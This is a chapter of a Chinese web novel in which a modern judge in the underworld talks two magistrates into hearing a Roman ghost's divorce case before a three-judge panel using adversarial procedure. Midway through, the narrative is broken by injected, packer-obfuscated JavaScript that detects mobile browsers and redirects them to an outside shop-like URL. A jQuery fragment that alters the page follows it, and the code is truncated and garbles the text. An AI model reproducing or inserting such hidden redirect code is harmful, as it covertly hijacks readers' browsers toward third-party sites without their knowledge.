30. 你不会怕
作品:《鬼差请我去断案》 “合议庭,就是由三个及以上审判人员组成,共同审理案件的组织,”刘松巧尽量解释得简单易懂,不用术语,免得对方跳出来打岔子乱她节奏,“三个人一起审,若有分歧,投票表决即可。”
刘松巧看向杜判官:“您也不用担心不能说服我,加上衡判官,你们二对一,我说什么都改变不了集体决定。”
杜判官似乎有些心动,衡判官还在琢磨其中关窍,不置可否。
“除非您害怕衡判官临阵倒戈,不过,我想应该不可能。”刘松巧又适时添把火,有意无意加重了“倒戈”二字。
衡判官赶紧打住:“您说的哪里话,我们同坐席上,并非敌人,哪儿来的兵戈相向呢,哈哈,您可真会开玩笑。”
杜判官脸色阴沉,似乎不怎么信任这位高门出身的衡判官。说来也是,身份背景差异巨大,道不同志不合,彼此之间能有多深的信任?
若是能够剥除共同利益分而治之,应当十分有效。可惜她还没这个能力,也没这个必要。
“二位可以慢慢想,毕竟是新东西,接受起来总有个过程,不急,不急。”
刘松巧顺势坐下,悄悄给向老师递眼神。这么多案卷,只争取来这么些时间让他帮忙看,就算一目十行也有些费力。
向老师附耳悄悄说了几句,刘松巧捡起几本重要的再对了对,有基础事实打底,连蒙带猜勉强看懂了。
一位名叫马库斯的罗马鬼十年前来到东方地府,与一位名叫柳容珍的唐代女子一见钟情,改名柳传眉,同年二人结为夫妻。现下这位柳传眉不愿继续夫妻关系,想要离婚,但柳容珍不同意。柳传眉离家出走,对外声称他们已经离婚,柳容珍为此告到官府。
最初,唐朝判官受案后引用唐律裁决,以不符七出之条而出妻的规定,应判处柳传眉徒一年半。
他自然是大喊冤枉,说按照罗马法律,他已经通知妻子,即可片面离婚。
判官当然不会听他这化外人一派胡言,当即就要锁拿入狱。
柳传眉,或者说马库斯,在老家那边还有些鬼脉,一封书信直抵上层,言说罗马市民无端遭受东方地府羁押,请贵处查清事实,还个清白。
压力一级一级传下来,现在就砸到他们手里。难怪程姐最开始不想掺和,又是上层,又是外交的,做好了不过是收拾烂摊子,做不好可就惨喽。
判官那边也没闲着,小声密谋半天,不知又在勾兑什么。刘松巧真佩服他们,这种火烧眉毛的案子,还有心思拿官架子压人搞内斗,该说人家定力好,还是心够大?
杜判官稳坐原地,衡判官上前道:“刘审判员,我们刚才略商量了下,这新法还是有些过于冒险,不如祖宗之法……”
“哦,我懂,我懂,”刘松巧早料到他们会来这一招,在脑子里细细排好说辞,一个一个抖搂出来,“祖宗之法,早受过千锤百炼,确实最稳当。”
“不过……”刘松巧站起来迎上去,让向老师再帮忙看看细节,故意学他们举起手说话,“我记得有一句,刑不可知,威不可测,这算不算祖宗之法?”
刘松巧没等他回答,先行转到下一步,“咱们直接把律例都丢了,让那罗马鬼没地方……”
衡判官摇手:“万万不可,还是,……”
刘松巧也不等他说完,直接摇头晃脑开始评点:“确实不行,会被上面扔地狱里去吧?这样,獬豸,獬豸可是神兽,总不会有错。”
衡判官:“啊?”
刘松巧微微一笑:“恐怕也不太行,咱们这是管人家家务事,清官还难断家务事呢,别到头来一边顶一下给这夫妻俩都顶到忘川里去了。”
“您说笑了,下官哪儿请得动这位尊神。”衡判官赔个笑脸,紧张地搓了搓手。
刘松巧心想还真有獬豸?真要来了,怕是先把这俩官僚撞个人仰马翻。
“刘……审判员,”杜判官脸皮没那么厚,让他改口是难了些,“你在此一味胡言乱语,小心误了大事!”
“这怎么能叫胡言乱语呢,这不帮你们说说这祖宗之法么。我也是主审,怎么着说几句话都不让?”刘松巧走向杜判官,仰起头看他。
两人相持不下,杜判官一甩袖子转身回座:“那就快些讨论案情,莫作这无谓胡扯。”
“唉,”刘松巧用力叹了口气,“本想救两位于水火,偏生二位不肯领情,真是狗咬吕洞宾啊。”
“你……”杜判官说着又要拍案而起,衡判官赶紧挡在前面,先行发话。
“刘审判员,若是案子审不好,您也逃不脱关系,有什么要说的请尽快说了吧。”
“好,二位应该能明白,我刚才所说,无非是略数了数祖宗之法,”刘松巧顿了顿,等待二人眼神汇聚到她身上,“祖宗之法未必堪用,直接用岂不变成和之前一样的结果?之前的判官若是被臭骂一顿,我们三人还做出一样的结果,那不就成了……”
衡判官冷脸道:“杀鸡儆猴。”
刘松巧在心里摇摇头,不是鸡,是蠢猪。
“你的意思是,摒弃唐律,按你的来?”杜判官嗤笑一声,“莫把我们当三岁小儿。”
刘松巧拱手:“并非如此,只是这唐律,得换个用法。”
衡判官:“此言何意?”
刘松巧开始分析:“这罗马鬼不服,无非是因为判官直接治罪,他说我们不公正吗?”
杜判官冷哼:“放他的狗屁。”
“对,就当他是狗屁,”刘松巧点点头,“现代法制最讲公平,白纸黑字写进原则,公开公正审案子,把程序换成现代民事诉讼模式,不影响具体用什么法审案子,赌他的嘴还不容易?”
杜判官思索片刻后问道:“我们审案子照样公平公正,凭什么就认为我们不公正?”
刘松巧解释道:“我知杜判官为官清廉耿直,心里自然有一杆秤。这在现代法学叫做法官的自由心证。把你心里的程序揉碎掰开了,放在庭上大家一起看,这叫公开。明眼人都瞧着,自然也没多话说。”
衡判官还是有些不放心:“什么都亮出来,没法说服对方怎么办?岂不威严扫地。”
刘松巧乐得拍手,两位判官一怔,不知她高兴什么。
“您可算说到关键了,”刘松巧摊开双手平齐高度,“我这双手,这边就当作是那罗马鬼,那边就当作是柳容珍。”
杜判官:“那我们呢?”
刘松巧笑道:“两个手打架,身子和脑袋为什么非得下去凑数?”
衡判官捋胡子:“你的意思是……”
刘松巧放下手:“现代诉讼体系,用当事人对抗制取代法官纠问制,这案子就是他们两个的事,我们只坐中间居中裁判,打成什么样全凭本事,说难听点,鹬蚌相争,渔翁难道还要把手伸到鸟嘴里?”
杜判官眼神逐渐清明,若有所思。衡判官一语不发,不知他内心又在盘算什么。
刘松巧偷瞄了眼向老师,站得挺直,眼睛也在往她这边儿瞟。她眨了两下眼,示意还算顺利。
衡判官把手从袖子里捞出来,眉间微蹙:“刘审判员的意思是,用你说的那个合议庭?”
刘松巧:“正是,三人同席,杜判官任审判长,主持审案,我和您任审判员一同审理,投票表决。坐得近些,庭上有什么事还能及时沟通。”
衡判官:“那,上告之人呢?”
刘松巧:“列坐两边。”
衡判官深深蹙眉:“成何体统。”
刘松巧没想到这里还能有分歧,一时陷入思考,总不能让人家跪着吧?
衡判官趁她不说话,又补道:“还有,他们坐着,难道让判官司的鬼使们站着卫护公堂威严?”
刘松巧原本还在想别的理由,听到这儿瞬间清明,反问道:“衡判官,判官司的威严,难道只靠让当事人跪着和两班鬼使吗?”
衡判官无言以对,刘松巧也不难为他,毕竟她所学知识告诉她,人不能理解自己没见过的东西。
“现代法庭都是如此,当事人分列两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337441|198224||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边,庭下还有群众旁听。法警都在外围等候,即使有风险,也顶多配两位法警上庭就是了,”刘松巧看向胸口,虽然那里只是一枚黑金徽章。现实法庭的审判人员通常佩戴红色法徽,在这一点上颇为巧合。
杜判官终于想好了:“那也不能完全照搬吧,万一那化外人不沐王化,行事乖张,那又要怎么办?”
“好办,打一顿,”刘松巧轻飘飘一句话,两个判官还以为她转了性,“规矩已经明了,他还不守规矩,那就活该他付出点代价,这样他也没法喊冤不是?”
“而且,”刘松巧刻意找了个靠近的位置坐下,“坐着未必就比站着尊贵,您这么大身板站我面前,或者站我后面,眼神再凶恶一点,我估计吓得什么都招了。”
杜判官木着个脸:“你不会害怕。”
“那是您手下留情,”刘松巧赔笑,“不先预设对方有罪,留足余地就好,免得人家以为我们没见过世面,这么大一帮子人伺候他一个。”
眼见两位判官不再吭声,程序也敲定得差不多,时间已经耗去不少,刘松巧先行告辞,出门前还正对着二位判官,直到转过屏风才长长地舒了口气。
屏风不隔音,向老师悄悄给她比了个大拇指,刘松巧回了一个ok手势。
回到办公室,刘松巧直接瘫在沙发上,双眼无神。
程姐走过来,从上往下看着她:“挺能耐啊,甩手掌柜都告诉我了,你居然能说动那俩家伙。”
“啊,晓之以情,动之以理,还得感谢向老师提供的资料,”刘松巧翻了个身正对程姐,“不然没法吓唬他们。不过前人跳过的坑,他们还准备跳,当真是蠢猪。”
向老师在旁边默默翻资料,不知他听没听清。
“累着了就先回去,过了这个坎,还有下个弯,”程姐不自觉摇了摇手中茶杯,“那个罗马鬼,不好摆布。”
刘松巧含糊地嗯了一声,下一秒就睡着了。
第二天醒来精神有些虚浮,或许是昨晚高强度用脑的缘由。刘松巧连跑步都省了,还是差点困得一头栽到书上。
还好今晚不和那两个碰面,她真没精力和他们纠缠了。
向老师把昨天记下的细节用工整小楷一一誊抄出来,还顺手给她带了杯热奶茶,边喝边看。
刘松巧很是受用,感觉还能和他们大战八百个回合。
“这么多都记住了,你记性也太好了吧。”刘松巧边翻边感叹,按她背书的速度,在那么短时间内能记住三页就是上限了,还不一定全能默写出来。
向老师略微笑了笑:“基本功罢了。”
对哦,好歹是正儿八经考过科举,还过了秋试的人,记性肯定比她好多了。
刘松巧赶紧求教:“怎么背的,教教我,听说参加科举的都能背四书五经,你过了秋试,应该是举人?背书这么厉害,肯定有诀窍吧。”
向老师愣了神,半晌回答一句:“多背就好。”
好吧,还是天赋型选手。
刘松巧失望地继续看卷宗,心想这么好用的脑子要是借她用用就好了,考完就还。
“那边有消息给你。”程姐递过一张纸,神色还好,应该不是坏消息?
刘松巧低头看内容,行书写得不太工整,实在有些吃力。
向老师见她有些迷茫,将纸抽了过去,扫视一遍。
“他们说,罗马鬼申请要一个律师,万一柳容珍打不赢怎么办,怕是有伤颜面,要不要拒绝这个。”
刘松巧切了一声,靠在沙发上:“我还以为多大个事。”
向老师疑惑地盯着她,认真说:“若是自己人判输了,就是打前任判官的脸,怕是不太好。”
刘松巧用奇怪的眼神盯着他:“要请律师就让他请呗,不让请才怪呢。”
程姐也有些迟疑:“我们的案子也不常有律师,就怕完全脱离掌控。”
刘松巧扫视一圈,发现没人理解她,无奈一笑。
“我们再给柳容珍请一个不就好了!”

